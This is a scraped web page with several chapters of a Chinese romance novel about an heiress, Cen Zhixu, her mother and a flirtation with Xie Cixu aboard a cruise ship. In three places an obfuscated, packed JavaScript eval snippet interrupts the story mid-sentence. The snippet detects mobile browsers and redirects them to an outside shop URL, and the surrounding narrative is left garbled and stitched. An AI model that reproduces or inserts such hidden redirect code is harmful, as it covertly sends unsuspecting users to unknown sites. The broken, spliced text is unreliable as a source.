岑稚许:“是啊,他有的,我也有,彼此势均力敌。还有什么好怕的?你怕他吃了我,还是我吞了他?” 庄晗景被岑稚许天不怕地不怕的态度说得心服口服。 虽说是中式庭院别墅,二楼的三面全景落地窗融入了一点现代元素,月光灰的瓷砖色调柔和,庄晗景一上楼就忍不住畅想未来的模样。 岑稚许见她左逛右瞧的,不时穿插几句犀利点评,问她:“喜欢吗?” “来之前我还以为楼上布局很紧凑,没想到意外地还不错,比你之前看的都要好。”庄晗景说。 岑稚许:“喜欢的话,给你做珠宝工作室。” 庄晗景从小就喜爱各种宝石,大学时跟着岑稚许受邀参加宝格丽的亚洲品牌晚宴,打开了任督二脉似的,开始自己尝试画设计稿,还开了个网店,不过由于原料品质并不低,一直不温不火。 她们这群发小,哪怕是看上去游手好闲的,谁没开个酒吧工作室。不过庄晗景一直觉得自己没这方面天赋,三天打鱼两天晒网,零花钱还是从她哥那要。 环绕在一群双商极高的精英之间,庄晗景很多时候觉得努力在天赋面前不值一提。 反正当个败家子也没什么不好。 别人要是说什么,她两耳一闭,纯当听不懂。 “你的客户人群定位比较高,我这里环境好,又用不着那么大面积,正好留给你做展厅。”岑稚许故意揶揄,“租金给你打一折,穷鬼也负担地起。” 庄晗景嚷嚷道,“你居然好意思收我租金!” “哦,原来是嫌我贪财。” “但是我不懂营销,也不懂管理,听起来就好废脑细胞。”庄晗景已经开始头疼了。 “可以先从熟悉的社交圈找客源,先把展厅搞起来,到时候顺嘴跟大家提一句,有人捧场,再慢慢考虑如何稳定转化。” 庄晗景想想还是算了,哀嚎着哼了起来:“岑大小姐,要不你还是把我删了吧。” 见庄晗景浑身上下都写满了怂字,岑稚许压下唇角,鼓励她:“世界是个草台班子,你觉得自己不行,还有比你更不行的,怕什么,搞砸了大不了重来呗。” 任她如何劝说,庄晗景始终摇头拒绝,岑稚许没强求,两人下午没什么事,打算去做个美甲。 岑稚许偷摸从地库里把她那辆粉色法拉利取出来,豪车在京市很常见,不过改成贝壳粉的并不多,一路碰到好几个开远光灯闪她的。 一辆迈巴赫硬要插队,还摇下车窗对她们吹口哨,岑稚许不疾不徐地打灯变道,丝毫没受一点影响。 察觉到庄晗景的目光,岑稚许抬起眼皮,“怎么了?” “就是突然觉得有阿稚在身边的感觉真好。”理智,冷静,永远做自己,就像是她的风向杆。庄晗景把手举过敞篷外,感受风声在指缝呼啸,心情说不出的畅快,“欢迎谈家小公主杀回京市!” 听到久违的称呼,岑稚许耳尖有些红,觉得很丢人,“能不能回去找个没人的地方嚎?” 岑稚许虽跟随母姓,私下里还是有不少人都叫她谈家小公主,以此来表示对谈衍的尊重,以及对岑女士的敬畏,时间久了,大家反倒习惯这么称呼。 只有身边亲近的人会叫她阿稚。 两人打打闹闹,手部护理刚做完,店长就面带微笑告知岑稚许,有人找她。 这家店的美甲款式很新,审美也好,颇受不少名媛贵妇偏要,岑稚许经常光顾,因此电话打到这来也不算奇怪。 接过电话时,是从没想到的熟悉嗓音。 “回来了?” “我们谈谈。” 岑女士每一分每一秒的时间都很宝贵,行程更是排到满,也许早上还在外滩谈天说地,中午就踏上了前往南半球的私人航班,见到人人敬畏的女总裁,岑稚许扯起笑容。 “听说你跟傅家二公子分手,人家为了你,走上了仕途。” 面对女儿,岑琼兰语气温和些许,保养得体的面庞上坦然留下岁月的痕迹,皱纹是她征战杀伐的勋章,她并不避讳,也没有特意去做医美。 岑稚许还以为先兴师问罪的,会是她休学回国的事,没想到谈及感情,她随口一说,“他走什么路,跟我有什么关系。” 岑琼兰哪里不明白她,“你随口说的话,他当真了吧?” 当初两人的事水到渠成,岑稚许又不吝啬夸赞,说傅斯年身上的气质很干净,儒雅,清正,家境和教育环境的缘故,使得他身上多了一点许多人没有的风骨,男人身上有一点风骨是利器,轻描淡写杀人于无形之间,最适合做外交官。 傅斯年有自己热爱的天文事业,从某种意义上说,跟刘老的坚守很像,因此岑稚许说话的时候也就没有负担。 她并不觉得一个脑子清醒的人会为了爱情昏头。 哪里知道,世上不缺头脑清醒的聪明人,同样也从不缺疯子。 岑稚许表情不太好看。 岑琼兰叹气,她的目的并不在这个,宽慰说,“你现在这个年纪爱玩也正常,年轻人不多经历几段感情,哪里知道自己最想要什么。只不过,你逢场作戏……” 岑稚许纠正,声音难得乖巧,“不是逢场作戏。” 岑琼兰笑笑:“那就是动真感情了?” “哪来那么多真感情可以动。”岑稚许说。 岑琼兰:“都传到我这了,你自己也觉得不体面吧?这次碰上傅斯年,或许还要算你眼光不错,人家情绪稳定,对你的挽留也隐晦。要是碰上死缠烂打,跟你闹个鱼死网破的,你又怎么办?” 岑稚许咬唇,没有说话,岑琼兰看穿她的心思,“我并不干涉你谈恋爱,你想玩,往高了玩,天塌下来都不要紧,有我给你兜着。” “……妈妈。”岑稚许小声唤她,有些意动。 岑琼兰特意把她叫来,重点全在后面,“我只是想告诉你,游戏开始前,彼此都要对规则心知肚明。你什么都不告诉人家,还想全身而退,太贪心。” 岑稚许原本没怎么听进去岑女士的话,眼前只一闪而过谢辞序那副又劲又不好惹的面孔,她还没想好要怎么开始,就要谋划退场的路吗? 一杯咖啡还没喝完,岑琼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“差点忘了你跟谈家小公主没见过面。”冉颂舟一拍脑袋,“都说她漂亮得让人过目难忘,见过她的人都把她吹得天生有地下无的,说不定老铁树见一面也能开花,来个一见钟情的浪漫邂逅……” 聒噪。 谢辞序听得头疼,起身走了出去。 岑稚许收到岑女士的邮件后,仔细读过,也找了律师团队探讨,字面意思很简单,要求她在一年内完成产业规划,完成现有资金翻十倍的目标。 这对于她来说,甚至算不上挑战,更不用那一场意味深长的对话,遑论对赌协议了。 思忖后一直想不通答案,岑稚许索性恢复了往日的社交,跟庄晗景过来玩,纯当放松,哪知她要赴宴的消息不胫而走,刚露面就被络绎不绝的人搭讪,连表情都维持得有些僵硬。 庄晗景看出她有心事,不想跟陌生人交流,神秘兮兮地拉着她往上层舱走。 两人一路畅通无阻,乘坐电梯来到最上层船舱时,庄晗景突然说肚子痛,一溜眼没了影。 说好的要在顶层一起喝红酒拍照,岑稚许很无语,一个人端着两个高脚杯不方便,只能找个房间先坐会。 在清晰的海浪起伏声中,岑稚许看到长廊深处走出来一道薄冷似月光般的身形,男人把玩着拇指上的一枚银宽戒,看似懒怠,又夹杂着几分清寂,百无聊赖似的。 谢辞序这个人的存在感很强,哪怕只是随意望过去一眼,就能让人想起同他仅有的几个瞬间。 海风席来,裹挟着一点冷潮的气息,让岑稚许蓦然想起那个雨夜被她遗忘的记忆。 她似乎……靠在他的肩侧,不经意间同他摩擦过体温。 岑稚许的心跳了一下。 她捏紧杯壁,往他的方向疾步走去,谢辞序的警惕大概是天生的,岑稚许还没靠近,他就冷冷地撩起眼皮扫过来,让人心脏倏地收紧,为他眼里冷恹的锋芒,也为这张凌厉英俊的皮囊。 谢辞序没料到在这也能碰到岑稚许,本该视若无睹地转身,但看到她那鬼鬼祟祟又狡黠的狐狸眼时,浑身像是被定住,竟生出几分好奇心,想看看她接下来还能搞出什么花样。 岑稚许就这么在他的凝视下,犹豫半秒后,抖着臂将红酒‘不小心’洒了他一身。 大概是觉得这样的意图未免太明显,红酒也‘意外’地染红了她精心挑选的礼服。 “……” 完蛋,是不是演得太假了? 就在岑稚许思忖着该如何编造借口时,谢辞序晦暗不明的眼眸微眯,“所以,这也是巧合吗?岑小姐。” 7. 陷落 红酒馥郁的甜香萦绕在彼此之间,若有似无地撩拨着谢辞序的心弦。长廊尽头连着旋转往下的楼梯,站在这里就能远眺无边无际的大海,和底层逼仄压抑的船舱有着截然不同的开阔,但微妙的是,此刻竟让人有种身处密闭空间的错觉。 岑稚许的腰身勾勒得极细,蝴蝶骨轻盈纤薄,一颗珍珠大小的碎钻缠着宽丝带,衬得她高挑又清冷,像一株插在白瓷瓶里的玉兰花。 在这样的场合下,她的装扮虽正式,却少了几分隆重。 不像是来赴宴,倒更像是来游戏人间的。 谢辞序现在的心情算不上多好,别人见他一副生人勿近的模样,都会自觉远离,只有岑稚许一而再再而三地撞上来,将他的底线也压地一降再降,以至于这才第四次见面,就敢光明正大地泼他红酒。 他抬起手,用拇指点了下腕表,提醒道:“三十秒了,还没编好借口吗?嗯?” 岑稚许眨眨眼,只能把想好的措辞全都默默压回去。 她刚才一直在观察谢辞序的表情,按初印象来看,她以为谢辞序至少会黑脸,或者全身充斥低气压缄默地离开,也宣告她的把戏就此剧终。 不过从他的反应来看,似乎比预计中要好很多。 岑稚许心思飘忽着,瞳孔忽然放大,故作惊呼后,急忙躲到谢辞序身后,头埋地比鹌鹑还低,“帮我应付一下,救救急。” 谢辞序面上凝结寒霜,“什么意思?” “刚才碰到好几个搭讪想加我联系方式的,我想不到合适的托辞来拒绝……” 岑稚许说的话半真半假,其实不是想不到托辞,是连托辞都懒得想。千篇一律的搭讪模板,眼里涌动着爱慕或是贪婪,众星拱月的确很容易让人产生强烈的满足感,也会让人觉得很无趣。 酒渍一点点侵染衬衣,湿漉漉的贴在身上,西服衣摆被一只纤白匀称的手捏住,拒绝的余地仿佛也被她握在手里。 谢辞序动作微滞,不由得想起那个让他一整晚都被躁意裹缠,不得纾解的雨夜。 他从未这样失态,克制着将她身上的馨香气息忽视,却发现在某种天然的吸引力之间,一切显得那样徒劳无功。 谢辞序轻笑一声,嗓音带着点嘲弄的意味,“岑小姐桃花这么旺,还需要我来帮你挡?” 就连跟他身边多年,恪守职责从未逾矩的宴凛,都免不了因她而分神。 谢辞序冷言冷语,连自己都没意识到莫名腾生出的低气压,究竟是因为她的不知分寸,还是别的。 “我知道这样很冒昧,但能够帮我的只有你,谢先生。” 岑稚许咬字的时候放慢了语速,以至于唤他时有种温柔缱绻的味道,见他表情缓和些许,低眸小声道:“对不起,我怕你会拒绝,才想出泼红酒这招。” 同她仅有的几次照面中,哪怕再狼狈,她也从未流露出如此脆弱易碎的姿态。 谢辞序心思松动,却并未拂开她,轻讽道:“什么烂主意。” 岑稚许生怕他反悔,指尖状似小心翼翼地加深了攻势,从抓住的那微不足道的一尾衣摆,换成了整只手都捏住。 “他们好像朝这边过来了,谢先生……” 她的紧张并不是全然都是做戏的成分,在这场晚宴里熟人居多,随便同她打个招呼,她在谢辞序面前的伪装就得露馅。 谢辞序打量着她愈发过火的行为,见她胆战心惊的表情,心脏像是被羽毛挠过,无由来地塌陷一小块。她这样的身份,落在这群豺狼虎豹凑成的深潭里,稍不至于便粉身碎骨。 胆子再大又怎样?没有人护着,就是毫无杀伤力的欲迎还拒。 “挽着我。” 谢辞序低磁的嗓音响起,在耳膜边过了一道,掀起一片酥麻的痒意。 岑稚许还在想要是他不配合该怎么办,听到他的话,怔愣半秒,没反应过来,“啊?” 谢辞序眼皮冷冷地撩过去,觉得自己一定是疯了,才会在这里跟耳朵不好使,也没个眼力见的人演戏。 他没什么耐心重复,“岑小姐,你要我帮你应付,至少应该装得像样一点,才能骗过那群火眼金睛的男人。能够出现在这场宴会上的,可不是什么好人。” 在长廊的另一头踱步的人隐有靠近之意,谢辞序分神望了一眼,黑眸黯色更深。 岑稚许咬着唇,按捺住起伏的心跳,在谢辞序沉冷不耐的注视下,挽上了他的手臂。她谈过的男友里,也不乏身量高的,谢辞序大概一米八八的样子,算不上最高的,但却让她觉得搭在他臂间的费力程度,不亚于之前那位NBA职业篮球运动员。 他是中美混血,臂展极其优越,总是习惯于将手抬高,岑稚许后来觉得仰头跟他说话费劲,两人又总是异地,没多久就提了分手。 谢辞序并没有经过长期严苛的训练,手臂的肌理线条却意外地明晰,岑稚许很想解开他的袖扣,研究出各种区别,不过这种心思刚冒出来,又迅速压了回去。 要是让他知道,她在拿他做样本似的对比,满足自己的好奇心,肯定会当场拂袖而去。 不过走神了那么一小会,也没逃过谢辞序的眼睛,他睨她,“不相信?” 岑稚许此刻正为想起八百年没联系过的前男友之一而心虚,来不及收敛表情,脱口而出:“按照这个逻辑,你不也不是什么好人。” 谢辞序未置可否。 岑稚许盯着他近在咫尺的俊颜,心念微动,指尖一寸寸不安分地往前滑,而后,触及到灼热如火山岩浆般的温度,宛若探寻到了不属于自己的危险领地,身体下意识往后瑟缩了一寸。 谢辞序仍旧没有说话,也没有制止的意思。 他的掌心干燥,指腹上带了一层薄淡的茧。岑稚许也喜欢玩射击,哪怕只是模拟弹,枪械后坐力带来的摩擦也足以让掌心磨出血泡。 滚烫的掌心是与她截然不同的温度,很烫,让岑稚许想到初次靠近火山时的强烈炙闷感,需要一段时间才能适应。掌心相贴之际,她的动作有片刻的凝滞。 谢辞序只是用那双深不见底的眸子觑着她,眼里暗含锋芒与警告。 穿过指缝,同他十指相扣,明明是极其简单的一个动作,却漫长到仿佛过了半个世纪。 “岑小姐,你是不是听错了,我说的是,挽着我。”他停顿半秒,语气沉稳,“而不是,跟我牵手。” 到底是见过大风大浪的豪门太子爷,被她占了便宜,还能维持这副闲庭信步般的姿态,跟她探讨彼此心知肚明的细节。 岑稚许很喜欢和他牵手的感觉,哪怕他现在更多是在放任,连指节都没有发力,仿佛任由她掌控。但她清楚,他骨子里仍旧藏着杀伐暴戾的一面,不过是同她短暂地、微妙地维系着平衡的错觉,这样的男人的确不好招惹,随时都能将她吞噬。 “重点不是这个。” 她汲取着他掌心源源不断的热意,卷而翘的长睫轻眨,“谢先生刚才骂人的时候,好像把我们俩都囊括进去了。既然都不是善男信女——” 岑稚许扬起笑意,眼里仿佛有水光摇晃,那颗小痣若隐若现,为她添了几分懒倦妩媚。 “那我这样,也不算太过分吧?” 她很懂得推动暧昧的距离,纤细的指尖轻笼住他,故作张扬地同他周旋。他从未触碰过异性的手,从不知道原来手指可以软弱无骨,细腻宛若绸缎,又如白玉般温凉,他甚至不敢甩开她,总觉得稍加用力便会弄伤她。 谢辞序的喉结无声地滚了滚,平坦宽阔的胸膛小幅度地起伏着。 脚步声由远及近,来人先是踟蹰片刻,视线频频往两道交叠的身影方向探。谢辞序宽肩窄腰,又比岑稚许高出许多,将她严丝合缝地挡住,只勉强能看出女人玲珑姣好的曲线。 光凭雪肤乌发,很难断定究竟是不是那位深居简出的谈家小公主。 这样的场合太过难得,今晚这艘游轮上的年轻宾客各怀心思,谁不想一夺芳心,就算冒着认错人的风险,也要试探。 “请问谈小姐有空赏脸跟我喝杯咖啡吗?” ——男人整理着装,还未出口的话在谢辞序转过身之际,刹时卡在喉咙间,大脑嗡地一声陷入轰鸣。 谢辞序今日穿地并不正式,连领带都没打,衬衫松散地敞开,即便如此,仍难掩温贵矜冷的气质。 “这里没有谈小姐,你认错人了。” 谢辞序侧过身来,胸前被红酒沁湿大半,健硕的腹部线条沿着人鱼线纵横往下,被一截长裤懒腰折断,显出几分轻纵的浪荡来。 不过是这样漫不经心的一眼,男人已经吓得够呛,向来巧舌如簧的人也变得结巴。 “辞、辞哥?打扰了您的兴致,我、我这就滚。” “滚远点。” 谢辞序虚搂着怀里的佳人,隽冷的眸子里看不出情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054572|149139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绪。 等人连滚带爬地走远了,岑稚许才像鹌鹑一样探出脑袋。 她松了口气般,极快地抽回了手,在谢辞序稠浓如黑潭般的注视下,一点点后退,如梦初醒般拉开两人的距离。 无声的寂静中,唯有海浪翻涌。 直到岑稚许的脊背贴上冰冷的墙壁,她才用手臂环住自己,也遮住被酒侵染地透薄的晚礼服,“谢先生,我先去换件衣服,晚些时间再来请你喝咖啡以示感谢。” 谢辞序全身心的注意力都放在了怅然若失般的掌心,他摩挲着指腹的薄茧,试图扰人心绪的触感忘却。 刚才还张牙舞爪的小姑娘突然弱了声响,这样欲盖弥彰般的动作,很难不让谢辞序将目光聚集在她刻意遮掩的胸前。 接近于半透明的衣衫根本罩不住那令人心脏微滞的大片春光,她半阖着眼,雪肤萦上一层薄淡的绯色,也不知是被他灼热的体温烫出来的,还是因为羞赧。 谢辞序只一眼便极其克制地移开视线,眼里笼着浓烈晦暗。 她倒是做到了。 成功让他心猿意马,躁意卷土重来,心跳蓬勃而饱满。 只是,如果出现在这里的不是他,她也会用同样的办法求助别人吗? 谢辞序凝神望着她,故作冷漠道:“我从不喝咖啡。” “那你喝奶茶吗?” “不喝。” “果茶……?” “也不。” “椰奶呢?” “……” 谢辞序险些被气笑,“别人提了一句咖啡,给了你灵感,你转头就用来敷衍我。岑稚,你当我是聋子吗?” 岑稚许眨了眨眼睛,没想到他介意的竟然是这个点。当然她不否认自己有偷懒的嫌疑,毕竟这种话都是用来客套寒暄的,哪有人会真的听进去。 见她咬唇哑声,一副被他吓懵了的样子,谢辞序忍不住想是不是他太过强势,不由得生出几分烦躁。 平心而论,他的语气算不上多重,习惯了高强度快节奏的行事方式,陡然让他收敛分寸,的确有些难。 “没有责怪你的意思。”谢辞序觉得耐着性子解释的自己太过陌生,眉心拧了拧,“我不需要你专程感谢,不要多想。” 谢辞序将西服外套扔给她,尽管那根本无济于事,已经湿透的衣服,根本没有丝毫的御寒作用,顶多是防止事态逐渐失控。 那个雨夜没能送出去的外套,此刻以另一种方式披在了她身上,有种说不出的微妙。 “谢先生,一会见。” 她走得很慢,高跟鞋踩在地毯上的声响窸窣,更叫他心烦意乱。 谢辞序沉声叫住她:“你有多余的衣物可以换?” 岑稚许摇头。 她打算溜号回家来着。 大概是被她弄得有点无语,谢辞序面色阴晴不定,本就锋利如刀凿斧刻般的五官显出更为浓烈的倨傲感。岑稚许有理由怀疑,顶着这样一张脸,哪怕气得俊眉倒竖、面目全非,也不过是美色换了种味道。 要是让庄晗景听见她的心声,肯定会为谢辞序鸣不平,人家好心帮你,你怎么还在臆想惹怒他是什么样子。 也太罪恶了。 岑稚许仰起下巴,秀巧的鼻尖染上一抹红,犹豫半晌才道:“谢先生,你的衣服我穿着不一定合身。” 似是根本没想到这一层,谢辞序皱了眉,薄凉地笑了一声,散落在潮咸的海风里。“岑小姐,不要对男人说这种浮想联翩的话。” “就连在谢先生面前也不可以吗?” 闻言,谢辞序脚步微顿,只留下无情的三个字,“不可以。” 到了长廊尽头的舱门前,谢辞序眼底划过一抹深色,意有所指:“跟紧我,低头。别让人看见。” 岑稚许会意地说:“放心,肯定不会让人传出你的绯闻。” 休息室装修典雅,茶台上摆了一盆小叶紫檀,软皮沙发前斜搭着一双长腿,姿态懒散,明明连脸都没见着,偏就给人玩世不恭的感觉。 “哟,辞哥,这么会功夫,太阳打西边出来了。”笑声肆意,“你这铁树开花也开得太快了吧?” 连声音都透着股浮浪的坏劲。 岑稚许觉得这人讲话挺有意思,按捺不住心底的好奇,刚想抬眸,又被谢辞序沉冷的音色毫不客气地按了回去。 “再看,眼睛挖了。” 8. 陷落 冉颂舟似是早已习惯谢辞序的讥讽,似笑非笑地拿两人逗趣,“辞哥说话这么血腥,也不怕吓到人小姑娘。” 谢辞序是什么人?在纸醉金迷的场合下,人人身边都跟着环肥燕瘦的美人,属他最清净,往那一坐,身在浮华,却不染半分俗气,谁也不敢攀附,谁也不曾入他眼。 头回见他这么护着个女孩,换了谁都觉得稀奇,免不了逗趣两句。 谢辞序挑眼凉飕飕地扫回去,余光定在岑稚许身上,到底是担忧惊了她,声线放缓了些,“我指的是谁,你心里清楚,别在这插科打诨。” “明白,朋友的命就不是命呗。”冉颂舟从善如流地说,“辞哥这么宝贝地藏着人,也不介绍介绍?” 他说话的语调京腔味不算浓,字正腔圆的尾音勾着点调,音质似璞玉凿凿,听起来却跟讲相声似的,分外有趣,这样的人天生就招女孩子喜欢。做朋友,做恋人,都能获得足够的情绪价值。 跟谢辞序完全是南辕北辙的两种个性。 也不知道这两人怎么就做成了朋友。 谢辞序连半分眼神也没施舍,只笼统地说,“没必要。” 岑稚许还没来得及深想,冉颂舟就接过话头,通情达理地为她鸣不平,“辞哥这么说,人小姑娘该伤心了。” 冉颂舟说着,边站起身,见谢辞序将人遮了全然,表情闪过一丝兴味,到底没再往前。 他那头什么也瞧不见,岑稚许却已经将人勾勒了个完全。薄眼皮,眼尾狭长,像迟了季的春雪落在桃花枝头,是鼻梁上架了副银色细眼镜也挡不住的薄情。 跟谢辞序相比,各有千秋。 岑稚许正转动着眼瞳细细打量,谁知谢辞序蓦然停下脚步,侧身挑了眸子睇过来,目光沉沉冷冷的,却有如实质,仿佛能够洞穿她内心所想。这头还没追上呢,转眼就被旁的人物吸引,的确有些说不过去。 两人之间的距离不过咫尺,岑稚许一时不岔,就这样措不及防地同他撞了个满怀。 谢辞序的怀抱跟想象中不同,出乎意料的宽阔,泛着点乌木的冷香。或许是常年锻炼的缘故,肌理极富弹性,鼻尖抵上去,竟一点也不疼。上次在射击馆看他拉弓时,顾着欣赏窄劲的腰腹了,根本无暇分神注意其他,原来他的身材也这么顶吗? 岑稚许被他身上的体温烫得耳尖泛红,想将视线上移,又怕对上那双幽沉似水的眸子会露馅,索性捂着鼻尖,低垂着眸子,小声道:“唔——” 两人身高差不算明显,但她此刻因意外窝在他怀里,葱白的指尖挡住了大半张脸,谢辞序看不清她的表情,只判断出她大概是撞疼了,性子却倔强,除了那一声下意识的嘤咛,再不肯发出一丝一毫的声音。 她明明是演技有限,落在谢辞序眼里,倒磨成了一点独属于她的傲骨。 隔了几秒,谢辞序眉梢松了又蹙,“你走路都不看脚下?” “谁叫你不按常理出牌。”岑稚许声音闷闷的,“就跟开车一样,本来行驶得好好的,高速上前面的车辆突然刹车,撞了个追尾,难道也是我的错吗?” 伶牙俐齿,看她这样子就没有吃亏的份儿。谢辞序眸中深色渐消,嗓音带着点轻嗤的意味,“还有闲心跟我犟嘴,看来是撞的不够疼。” “疼死了。” “自找的。” 谢辞序神色比以往幽深,说的话自然也不怎么中听。当然,他也没对谁卑躬屈膝过,学不来冉颂舟那迂回婉转的语气。他此刻只觉得心浮气躁,无端生出的占有欲就像那缕香风,蛛网似地将他缠住,无处可逃,也无药可解。 “真的很疼……”岑稚许生怕他不相信,白白错过了这么场表演的机会,把这辈子最难过的事都想了一遍,挤出那么点可怜兮兮的雾气缀在眼尾,又将鼻尖搓红。 她的卷发高盘在脑后,露出一双白玉玲珑的耳朵,羊脂玉般的肌肤似花瓣般染着薄粉,清凌的狐狸眼挂着泪珠,雪花似的,针尖似的刺进谢辞序未曾有过波动的心脏深处。 他以为她顶多是难受,哪曾想她竟还酝了泪。 谢辞序从没遇到过这样的情况,也不曾为谁的眼泪而动容,此刻却犹如百爪挠心,站也不是,让他低声下气地哄,又太过荒唐。 见他半天都没反应,岑稚许抿了抿唇,想着没开窍的男人就是个花架子,还得慢慢养成她喜欢的样子,任重而道远不说,能不能在她的耐心耗尽前让他动心还是个未知数。 其实不过只有几秒的时间而已,谢辞序的心脏在这冗长绵软的呼吸声中收紧,那根线贯穿其中,被她的眼泪击溃,他无可奈何般,修长窄瘦的骨掌轻握住她的腰,嗓音喑哑,“给你赔罪,好吗?” 谢辞序体温很高,而这火炉似地温暖,在他滚烫如岩浆般的掌心面前,变得不值一提。 岑稚许的腰本就敏感,又淋了酒渍,皮肤表面冰冰凉凉的。 截然不同的温度差异,让两人的感知力变得分外明晰。在她纤细柔软的腰窝处,覆于其上的手刚好握住,仿若天生契合,没有丝毫的缝隙。 隔着一层薄纱,她甚至能够感觉到他指腹粗粝的质感。 岑稚许感觉自己快要被烫得融化了,或许是在他的怀抱里,这样亲昵的姿态有着化不开的旖旎暧昧,谢辞序漆黑如墨的眸子里溢出丝丝侵略性,不过对视一眼而已,竟让她双腿发酸、泛软。 “谢总,礼服已经准备好了,在房间里。”宴凛温和平稳的声音将两人从失控的氛围里拽了出来。 跟在谢辞序身边的人,知道什么时候该看,什么时候不该看,如蜻蜓点水般晃开视线,对冉颂舟微微躬身,“冉先生,隔壁为您准备了一点热茶,还请您移步。” 冉颂舟点了个头,跟着宴凛离开了,偌大的休息间里,只余下她们两人。 “走吧。”谢辞序咽了下喉,将脑中那些不合时宜的思绪驱散,锋利的下颚线往上抬,从容地收回手,转为虚拢在她身后,示意她往套房里走。 这艘游轮不必细看,顶层的船舱都是比肩高奢五星酒店而建,往里走还有主、次两个卧房,曼塔玫瑰从圆桌一路延绵盛开至长绒地毯,落地窗外是小型无边泳池,将天际线同海面连成一片。 留给岑稚许小憩的套房同这里相似,只不过曼塔玫瑰的数量更多,几乎铺满了整个房间。这种玫瑰花色淡雅,香味也不算浓烈,品牌方知道她喜欢,给她准备了还不够,竟连整艘游轮上所用的花全是这一种,无论走到哪都能看见。 要讲究赏心悦目,还要考虑穿花纳锦似的变化,每一处布景都不能重复,花艺师肯定费了不少功夫,岑稚许默默忖度着,回头跟SUMI亚洲区负责人吃饭的时候,正好打听下团队的名字。 岑女士前几年斥资在沿海半岛的顶奢区建了栋酒店,各种国际明星、权贵大佬都扎堆似地捧场,红火几年后,就将管理权抛了出去,要不是岑稚许每半年过去打一趟经营着,恐怕名气早就一落千丈了。 收回思绪时,谢辞序落拓身形已然停驻在门边,像是在跟她解释,“附近不会有游轮经过,你要是觉得不放心,可以去衣帽间,里头有全身镜。” 他说完这句话就阖上了推拉的木门,影子映在磨砂的玻璃面,泠泠朝晖似的疏离。 “门锁记得扣。” 岑稚许没想到几滴挤不出来的眼泪,作用竟这么大,能让谢辞序也变得体贴细致。 他差人放于床畔的晚礼服是高定款,纸盒外包裹了层小羊皮提升质感,掀开盒盖,淡雅的铃兰香气渗出来,真实的花香沾染在指尖,岑稚许瞥见了最底下的一张英文手写卡。 指不定是准备送给谁的,结果被她截了胡。 岑稚许对谢家知道的不多,不过这种老钱大家族,历来分外看重婚姻带来的利益,个人情爱须得在世代荣华面前让步。小一辈年轻时在外面如何放开了玩都不要紧,最后总是要收心,跟选中的妻子相敬如宾,当然也有约定好互不干扰的,圈子里这样的事是常态,她见过不少。 或许是迟迟没听见落锁的声音,谢辞序的声音从门外传来,听起来有些冷,耐心都快被她磨至殆尽。 “岑小姐。” 晚礼服意外的合身,也足够华丽隆重,只是胸前的位置有些紧,让人喘不过气。 岑稚许轻推开房门,厚重的门划过轨道,沉闷的声响如同火车般碾过。她深吸了口气,注意着不让自己失礼,连口吻都变得温柔,“谢谢你的礼服。” 谢辞序赴约之间并没有见过这件晚礼服,就连什么时候被人送了过来都不知晓,他母亲先斩后奏,等到游轮在海面渐行渐远,才嘱咐一定要将它亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054573|149139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自送给那位素未谋面的谈小姐,听得他头疼。 连照面都没打过的人,就要突兀地送礼服示好,不是可笑至极是什么。 他没打算真的送出去,更没有同那群人竞夺的心思,而那位众星捧月的小公主,自然也不会同他有所交集。 雾霾蓝的颜色很衬她,抹胸的款式,算不上暴露感,可她曲线太过傲人饱满,仿若呼之欲出,只看一眼,都叫人口干舌燥。鱼尾裙摆堪堪遮住脚踝,纤白匀称的藕臂龙同一字肩廓形相得益彰,只是—— 谢辞序掩去眼里一闪而逝的惊艳,轻咳一声,顿觉现在的情境竟比刚才还糟糕,让她换上这件晚礼服,简直就是自讨苦吃。 他拧紧眉梢,语气听不出喜怒,“你怎么不锁门?” 岑稚许见他眼神落点只停留在她脖颈往上的位置,大大方方地看他一眼,“换衣服花不了多少时间,锁门多此一举。” 她总是一再强调在他面前,将他区别对待的这份特殊性,仿佛真的将他当成了什么正人君子,谢辞序明知是陷阱,却还是轻易掉了进去,在她盈着笑意的眼尾里,压抑着疯狂生长的绮念。 几分钟前她还哭过,现在倒是一点也没受情绪影响。 只有他陷入其中。 这份游刃有余的鲜明落差,让谢辞序骨子里极力隐匿的强势显现,他欺身往前半步,高大的身形如山倾般将她笼罩,如此轻而易举,就像她的腰,不足一掌便能轻松握住。 “是么。”谢辞序从喉间溢出一丝轻嗤,饱满而锋利的喉结也因此滚动,显得很性感,他微俯下身,视线同她齐平,“岑小姐胆子真大,就这么相信一个陌生男人,不仅在他的车上陷入熟睡,还顺着他的邀请走进他的房间。” 谢辞序灼热的呼吸喷洒在岑稚许颈侧,裹挟着一点香槟的味道,很淡。不知道他酒量怎么样,岑稚许家里人年轻的时候在应酬场千杯不醉,岑稚许有过之而无不及,在家里存了整整三面墙的酒,没有人能喝倒她。 但她很少喝醉,只是享受酒精漫过身体带来的微醺感,会让她觉得很放松,忘记许多不值得在意的事。 拿得起放得下,是她的优点,也是缺点。 